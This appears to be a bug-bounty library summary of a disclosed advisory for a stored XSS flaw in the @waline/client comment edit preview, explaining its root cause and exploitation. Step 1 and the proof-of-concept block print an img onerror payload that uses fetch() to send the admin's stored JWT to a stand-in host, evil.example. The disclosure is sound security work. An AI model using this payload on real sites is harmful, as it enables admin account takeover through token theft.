# @waline/client vulnerable to stored XSS through unsanitized comment edit previews

Waline client renders raw comment body through marked into v-html edit preview, so an anonymous commenter's stored XSS fires when an admin clicks Edit, stealing the JWT.

- Payout: Research
- Severity: critical
- Program: Waline
- Found by: koyokr
- Disclosed: 2026-11-25
- CVE: CVE-2026-64670
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-crj3-q72p-ggqm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-crj3-q72p-ggqm
- Tags: area:oss domain:oss impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:nodejs technique:second-order technique:source-review vuln:xss

**Target:** Comment editor live preview (CommentBox.vue) in @waline/client
**Root cause:** parseMarkdown returns marked output unsanitized and it is injected via v-html; edit mode seeds the editor with the pre-sanitization raw body (orig) set server-side before DOMPurify runs.
**Steps:**
1. As anonymous user, `POST /api/comment` with body `{"url":"/any-post","nick":"a","comment":"<img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>"}`
2. Server sanitizes the display copy (markdown-it -> DOMPurify) so public listing is safe, but stores raw body in `orig`
3. As admin or comment owner, click Edit on that comment
4. CommentBox mounts, seeds editor with `orig`, `watchImmediate` renders it via `parseMarkdown` (marked, no sanitizer) into the `v-html` preview node
5. Preview uses `v-show` so the node is already in DOM (display:none); `onerror` fires immediately and exfiltrates admin's localStorage JWT
**How found:** Noticed the client bundles no DOMPurify while the server does, and that edit mode seeds the editor from the pre-sanitization orig field; traced watchImmediate plus v-show to confirm the payload fires without opening the preview tab.
**Exploitation:** Unauthenticated attacker posts a comment containing an img onerror payload. The server sanitizes only the display copy, leaving the raw body in orig. When a moderator clicks Edit, the client renders orig through marked into a v-html node that is present in the DOM despite v-show, firing the handler in the admin's session and sending the same-origin localStorage WALINE_USER JWT to the attacker, yielding full admin account takeover.
**Escalation:** Single Edit click by a moderator escalates an unauthenticated commenter to full administrative account takeover via JWT theft.
**Insight:** When a server sanitizes a display copy but stores the raw body for editing, the edit-preview path is a separate render sink; check whether preview containers use v-show (node stays in DOM) rather than v-if, since that alone triggers onerror without user interaction.

## Proof of concept (copied exactly from the original report)

**Anonymous comment POST with img onerror payload**

```
POST /api/comment
{ "url": "/any-post", "nick": "a", "comment": "<img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>" }
```

